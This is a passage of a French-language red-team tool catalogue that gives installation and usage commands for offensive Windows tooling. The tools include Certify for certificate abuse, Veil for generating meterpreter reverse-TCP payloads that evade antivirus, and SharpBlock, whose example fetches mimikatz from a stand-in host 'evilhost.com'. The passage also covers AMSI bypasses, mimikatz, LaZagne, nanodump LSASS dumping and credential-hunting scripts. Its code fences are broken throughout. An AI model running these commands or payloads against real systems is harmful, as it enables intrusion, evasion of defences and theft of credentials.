Certify est conçu pour être utilisé conjointement avec d'autres outils et techniques d'équipe rouge, tels que Mimikatz et PowerShell, afin de permettre aux opérateurs de réaliser divers types d'attaques, notamment les attaques de type homme du milieu, les attaques d'usurpation d'identité et les attaques d'élévation de privilèges.
**Principales fonctionnalités de Certify :**
- Création de certificats
- Signature de certificats
- Importation de certificats
- Modification de la confiance des certificats
**Installation : (Compilation)**
Certify est compatible avec [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Ouvrez le projet Certify [.sln](https://github.com/GhostPack/Certify), choisissez « Release », puis compilez.
**Installation : (Exécution de Certify via PowerShell)**
Si vous souhaitez exécuter Certify en mémoire via un wrapper PowerShell, compilez d'abord Certify et encodez l'assembly obtenu en base64 :```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify peut ensuite être chargé dans un script PowerShell avec ce qui suit (où "aa..." est remplacé par la chaîne d'assembly Certify encodée en base64) :``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
La méthode Main() et tous les arguments peuvent ensuite être invoqués comme suit :```
[Certify.Program]::Main("find /vulnerable".Split())
Les instructions complètes de compilation sont disponibles ici.
Utilisation:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Full example walkthrough can be found [here](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword est un script PowerShell faisant partie de la boîte à outils PowerSploit, conçu pour récupérer les mots de passe des comptes locaux créés et gérés à l'aide des préférences de stratégie de groupe (GPP).
Get-GPPPassword fonctionne en recherchant dans le dossier SYSVOL sur le contrôleur de domaine les fichiers GPP contenant des informations de mot de passe. Une fois ces fichiers trouvés, il déchiffre les informations de mot de passe et les affiche à l'utilisateur.
**Installation:**
Suivez les [instructions d'installation](https://github.com/A-poc/RedTeam-Tools#powersploit) de PowerSploit sur cette fiche d'outil.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Utilisation :```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script PowerShell pour trouver rapidement les correctifs logiciels manquants pour les vulnérabilités d'élévation de privilèges locales.
_Prend en charge :_
- MS10-015 : Mode utilisateur vers Ring (KiTrap0D)
- MS10-092 : Planificateur de tâches
- MS13-053 : Débordement du pool noyau Win32k NTUserMessageCall
- MS13-081 : Page NULL Win32k TrackPopupMenuEx
- MS14-058 : Déréférencement de pointeur nul Win32k TrackPopupMenu
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Débordement du tampon du pilote de polices
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Gestionnaire de connexion secondaire
- MS16-034 : Pilotes en mode noyau Windows EoP
- MS16-135 : Win32k Élévation de privilège
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Escalade de privilèges
**Installation : (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Utilisation: (PowerShell)```bash
Find-AllVulns
Find-MS14058
_Image utilisée depuis https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/_
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson est un outil .NET conçu pour énumérer les KB manquants et suggérer des exploits pour les vulnérabilités d'élévation de privilèges.
Idéal pour identifier les correctifs manquants et suggérer des exploits qui pourraient être utilisés pour exploiter des vulnérabilités connues afin d'obtenir des privilèges plus élevés sur le système.
**Installation :**
Utilisation de [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Ouvrez le [projet Watson .sln](https://github.com/rasta-mouse/Watson), choisissez 'Release', et compilez.
**Usage :**```bash
# Run all checks
Watson.exe
Texte de l'image utilisé depuis https://github.com/rasta-mouse/Watson#usage
Un outil basé sur C# qui automatise le processus de découverte et d'exploitation de DLL Hijacks dans les binaires cibles.
Les chemins de détournement découverts peuvent être armés, lors d'un engagement, pour contourner les EDR.
Installation :
Remarque : les prérequis i & ii doivent être placés dans le répertoire de ImpulsiveDLLHijacks.exe lui-même.
Informations de construction et de configuration :
ImpulsiveDLLHijack
Et pour les DLL de confirmation :
Configuration : Copiez les DLL de confirmation (maldll32 & maldll64) dans le répertoire de ImpulsiveDLLHijack.exe, puis exécutez ImpulsiveDLLHijack.exe :))
Instructions d'installation depuis https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Utilisation :```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Des exemples d'utilisation sont disponibles [ici](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
_Image utilisée depuis https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples_
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Un outil en C# pour extraire toutes sortes de bonnes choses d'AD FS.
Créé par Doug Bienstock [@doughsec](https://twitter.com/doughsec) alors qu'il était chez Mandiant FireEye.
Cet outil est conçu pour être exécuté conjointement avec ADFSpoof. ADFSdump affichera toutes les informations nécessaires pour générer des jetons de sécurité à l'aide d'ADFSpoof.
**Prérequis :**
- ADFSDump doit être exécuté sous le contexte utilisateur du compte de service AD FS. Vous pouvez obtenir ces informations en listant les processus sur le serveur AD FS ou à partir de la sortie de la cmdlet Get-ADFSProperties. Seul le compte de service AD FS dispose des autorisations nécessaires pour accéder à la base de données de configuration. Même un DA n'y a pas accès.
- ADFSDump suppose que le service est configuré pour utiliser la Windows Internal Database (WID). Bien qu'il serait trivial de supporter un serveur SQL externe, cette fonctionnalité n'existe pas pour l'instant.
- ADFSDump doit être exécuté localement sur un serveur AD FS, PAS sur un proxy d'application web AD FS. Le WID n'est accessible localement que via un named pipe.
**Installation:(Compiler)**
ADFSDump a été développé sous .NET 4.5 avec Visual Studio 2017 Community Edition. Il suffit d'ouvrir le fichier .sln du projet, de choisir "Release", et de compiler.
**Utilisation:(Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Exploration de l'attaque Golden SAML contre ADFS
Image tirée de https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Un obfuscateur de commandes et scripts PowerShell compatible PowerShell v2.0+. Si un point de terminaison victime est capable d'exécuter PowerShell, alors cet outil est idéal pour créer des scripts fortement obfusqués.
Installation :```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Utilisation:**```bash
./Invoke-Obfuscation
Veil est un outil pour générer des charges utiles metasploit qui contournent les solutions antivirus courantes.
Il peut être utilisé pour générer du shellcode obscurci, voir le blog officiel du framework Veil pour plus d'informations.
Installation : (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Installation : (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Utilisation:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Les créateurs de Veil ont écrit un [article de blog](https://www.veil-framework.com/veil-command-line-usage/) sympa expliquant l'utilisation en ligne de commande d'ordnance et d'evasion.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Une méthode pour contourner les DLL de projection active d'EDR en empêchant l'exécution du point d'entrée.
**Fonctionnalités :**
- Bloque l'exécution du point d'entrée des DLL EDR, ce qui empêche la mise en place de hooks EDR.
- Contournement AMSI sans patch indétectable par les scanners qui recherchent des correctifs de code Amsi.dll au moment de l'exécution.
- Processus hôte remplacé par un implant PE pouvant être chargé depuis le disque, HTTP ou un named pipe (Cobalt Strike).
- Le processus implanté est caché pour aider à contourner les scanners qui recherchent des processus hollowés.
- Les arguments de ligne de commande sont usurpés et implantés après la création du processus à l'aide d'une méthode furtive de détection EDR.
- Contournement ETW sans patch.
- Bloque l'invocation de NtProtectVirtualMemory lorsque l'appelé se trouve dans la plage d'espace d'adressage d'une DLL bloquée.
**Installation :**
Utilisez [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) pour compiler le binaire SharpBlock.
Ouvrez le [projet .sln](https://github.com/CCob/SharpBlock) de SharpBlock, choisissez "Release", et compilez.
**Utilisation :**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Excellent article de blog de PenTestPartners ici.
Image utilisée depuis https://youtu.be/0W9wkamknfM
Alcatraz est un obfuscateur de binaires x64 avec interface graphique capable d'obfusquer divers fichiers PE, notamment :
Quelques fonctionnalités d'obfuscation prises en charge incluent :
Installation : (Prérequis)
Installer : https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Utilisation :**
Utilisation de l'interface graphique pour obscurcir un binaire :
1. Chargez un binaire en cliquant sur `file` dans le coin supérieur gauche.
2. Ajoutez des fonctions en développant l'arborescence `Functions`. (Vous pouvez rechercher en saisissant le nom dans la barre de recherche en haut)
3. Cliquez sur `compile` (**Remarque :** _L'obscurcissement de nombreuses fonctions peut prendre quelques secondes_)
_Image utilisée depuis https://github.com/weak1337/Alcatraz_
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle est un outil qui manipule certains aspects des exécutables compilés (.exe ou DLL).
Mangle peut supprimer les chaînes basées sur des indicateurs de compromission (IoC) connus et les remplacer par des caractères aléatoires, modifier le fichier en augmentant sa taille pour éviter les EDR, et peut cloner les certificats de signature de code à partir de fichiers légitimes.
Ce faisant, Mangle aide les chargeurs à contourner les scanners sur disque et en mémoire.
**Installation :**
La première étape, comme toujours, consiste à cloner le dépôt. Avant de compiler Mangle, vous devrez installer les dépendances. Pour les installer, exécutez les commandes suivantes :```
go get github.com/Binject/debug/pe
Ensuite, construisez-le``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Utilisation:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Les informations d'utilisation complètes peuvent être trouvées ici.
Image utilisée depuis https://github.com/optiv/Mangle
AMSI.fail est un excellent site web qui peut être utilisé pour générer des extraits PowerShell obfusqués qui cassent ou désactivent AMSI pour le processus en cours.
Les extraits sont sélectionnés aléatoirement parmi un petit ensemble de techniques/variations avant d'être obfusqués. Chaque extrait est obfusqué au moment de l'exécution/de la requête afin qu'aucune sortie générée ne partage les mêmes signatures.
Excellent blog de f-secure expliquant AMSI ici.
Image utilisée depuis http://amsi.fail/
Excellent outil pour obtenir l'accès aux mots de passe hachés et en clair sur un endpoint victime. Une fois que vous avez obtenu un accès privilégié à un système, déposez cet outil pour collecter des identifiants.
Installation :
mimikatz.exe se trouve dans le dossier x64.Utilisation :```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Un outil sympa pour extraire les mots de passe stockés localement depuis les navigateurs, bases de données, jeux, courriels, git, wifi, etc.
**Installation : (Binaire)**
Vous pouvez installer le binaire autonome depuis [ici](https://github.com/AlessandroZ/LaZagne/releases/).
**Utilisation :**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
Outil pour craquer les hashs de mots de passe. Prend en charge une grande liste d'algorithmes de hachage (la liste complète se trouve ici).
Installation : Binaire
Vous pouvez installer le binaire autonome à partir d'ici.
Utilisation :```bash .\hashcat.exe --help
Super aide-mémoire des commandes [hashcat](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/).
### [🔙](#tool-list)[John the Ripper](https://github.com/openwall/john)
Un autre casseur de mots de passe, qui prend en charge des centaines de types de hachage et de chiffrement, et fonctionne sur de nombreux systèmes d'exploitation, CPU et GPU.
**Install:**```bash
sudo apt-get install john -y
Utilisation :```bash john
### [🔙](#tool-list)[SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt)
Cet outil est conçu pour récupérer et déchiffrer les informations d'identification RunAs stockées dans les bases de données Microsoft System Center Operations Manager (SCOM).
Article du blog NCC - ['SCOMplicated? – Decrypting SCOM “RunAs” credentials'](https://research.nccgroup.com/2017/02/23/scomplicated-decrypting-scom-runas-credentials/)
**Prérequis :**
Pour exécuter l'outil, vous aurez besoin de privilèges d'administrateur sur le serveur SCOM. Vous devez également vous assurer que vous avez un accès en lecture à la clé de registre suivante :```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
Vous pouvez vérifier manuellement que vous voyez la base de données en rassemblant les détails de connexion à partir des clés suivantes:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
**Installation : (PS1)**```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Installation : (Compilation)
À l'aide de Visual Studio 2019 Community Edition vous pouvez compiler le binaire SCOMDecrypt.
Ouvrez le projet .sln de SCOMDecrypt, choisissez "Release", puis compilez.
Utilisation :```bash
Invoke-SCOMDecrypt
.\SCOMDecrypt.exe
_Texte de l'image provenant de https://github.com/nccgroup/SCOMDecrypt_
### [🔙](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
Le LSASS (Local Security Authority Subsystem Service) est un processus système dans le système d'exploitation Windows qui est responsable de l'application de la politique de sécurité sur le système. Il est responsable d'un certain nombre de tâches liées à la sécurité, notamment l'authentification des utilisateurs pour la connexion, l'application des politiques de sécurité et la génération de journaux d'audit.
La création d'un dump de ce processus peut permettre à un attaquant d'extraire des hashs de mots de passe ou d'autres informations sensibles de la mémoire du processus, ce qui pourrait être utilisé pour compromettre davantage le système. Cela permet la création d'un minidump du processus LSASS.
**Installation:**```bash
git clone https://github.com/helpsystems/nanodump.git
Installation: (Linux with MinGW)```bash make -f Makefile.mingw
**Installation : (Windows avec MSVC)**```bash
nmake -f Makefile.msvc
Installation : (CobaltStrike uniquement)
Importez le script NanoDump.cna sur Cobalt Strike.
Vous trouverez des informations complètes sur l'installation ici.
Utilisation :```bash
nanodump.x64.exe
nanodump --silent-process-exit C:\Windows\Temp\
nanodump --shtinkering
Les informations d'utilisation complètes se trouvent [ici](https://github.com/helpsystems/nanodump#1-utilisation).
_Image provenant de https://github.com/helpsystems/nanodump_
### [🔙](#liste-des-outils)[eviltree](https://github.com/t3l3machus/eviltree)
Un remake autonome en python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/expressions régulières fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances. Créé pour deux raisons principales :
- Lors de la recherche de secrets dans des fichiers de structures de répertoires imbriquées, pouvoir visualiser quels fichiers contiennent des mots-clés/expressions régulières fournis par l'utilisateur et où ces fichiers se trouvent dans la hiérarchie des dossiers, offre un avantage significatif.
- `tree` est un outil formidable pour analyser les structures de répertoires. Il est très pratique d'avoir une alternative autonome de la commande pour l'énumération post-exploitation, car elle n'est pas préinstallée sur toutes les distributions Linux et est un peu limitée sous Windows (comparée à la version UNIX).
**Installation :**```bash
git clone https://github.com/t3l3machus/eviltree
Utilisation :```bash
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
_Image utilisée depuis https://github.com/t3l3machus/eviltree_
### [🔙](#tool-list)[SeeYouCM-Thief](https://github.com/trustedsec/SeeYouCM-Thief)
Outil simple pour télécharger et analyser automatiquement les fichiers de configuration des systèmes téléphoniques Cisco à la recherche d'identifiants SSH.
Permet également d'énumérer optionnellement les utilisateurs Active Directory depuis l'API UDS.
[Blog - Exploitation des erreurs de configuration courantes dans les systèmes téléphoniques Cisco](https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/)
**Installation :**```bash
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt
Utilisation:```bash
./thief.py -H --userenum
./thief.py -H [--verbose]
./thief.py --phone [--verbose]
./thief.py --subnet [--verbose]
_Image utilisée depuis https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/_
### [🔙](#tool-list)[MailSniper](https://github.com/dafthack/MailSniper)